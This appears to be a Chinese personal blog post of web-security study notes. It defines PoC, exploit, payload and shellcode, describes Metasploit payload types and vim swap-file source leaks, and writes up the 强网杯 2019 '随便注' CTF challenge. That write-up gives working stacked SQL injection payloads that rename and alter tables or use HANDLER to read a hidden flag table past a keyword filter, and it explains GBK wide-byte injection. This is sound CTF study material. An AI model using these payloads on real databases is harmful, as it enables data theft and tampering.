WEB_本职工作(持续更新)

不适合人类阅读,非常水的自我笔记

Posted by Eli0t on 2020-02-14

Fuzz是安全测试的一种方法,也是极为重要的一种手段!当你面对waf无所适从的时候,这时候你就可以Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的姿势!

#Catalog

渗透中POC、EXP、Payload与Shellcode的区别

想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个POC。之后你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的窃听器,这一天你所做的就是一个EXP,你在他家所做的就是不同的Payload,就把窃听器当作Shellcode吧。

几点注意

POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。
Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。
Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。
Shellcode与Shellshcok不是一个,Shellshock特指14年发现的Shellshock漏洞。

Payload模块

在Metasploit Framework 6大模块中有一个Payload模块,在该模块下有Single、Stager、Stages这三种类型,Single是一个all-in-one的Payload,不依赖其他的文件,所以它的体积会比较大,Stager主要用于当目标计算机的内存有限时,可以先传输一个较小的Stager用于建立连接,Stages指利用Stager建立的连接下载后续的Payload。Stager和Stages都有多种类型,适用于不同场景。

Vim缓存导致的网页源码泄漏

当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
文件名一般为.index.php.swp

堆叠+修改表的结构进行注入([强网杯 2019]随便注方法之一)

WAF:

1
2
use inject :union
error:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

存在堆叠注入
1’;show talbes;#

1
2
3
4
5
6
7
8
9
10
tales:
array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

1919810931114514

1
2
3
`是 MySQL 的转义符,避免和 mysql 的本身的关键字冲突
0';show columns from `1919810931114514`;#
flag varchar(100)

payload:

1
2
																					 ID列为无符号整型,该列值不可以为空,并不可以重复(primery key主键),而且自增.alert table 表名 change 现有字段名称  修改后字段名称 数据类型
1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;alter table words change flag data varchar(100);#

alter 改变表
ALTER TABLE

HANDLER语句注入([强网杯 2019]随便注方法之一)

https://dev.mysql.com/doc/refman/5.7/en/handler.html ,在这里就可以找到答案

该HANDLER语句提供对表存储引擎接口的直接访问。可用于 InnoDB和MyISAM表。
该HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问。
该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭。

最后根据文档一把梭:

1
1';handler `1919810931114514` open;handler `1919810931114514` read first;#

handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据

宽字节注入:https://www.jianshu.com/p/4fe931da9550

宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码

id=1’———->id=1'———>id=1%5c%27
id=1%df’———id=1%df%5c%27———->id=1%DF5C%27——–>id=1運’

其实就是利用gbk是多字节的编码,两个字节代表一个汉字

%df %5c 组合出了一个“運”字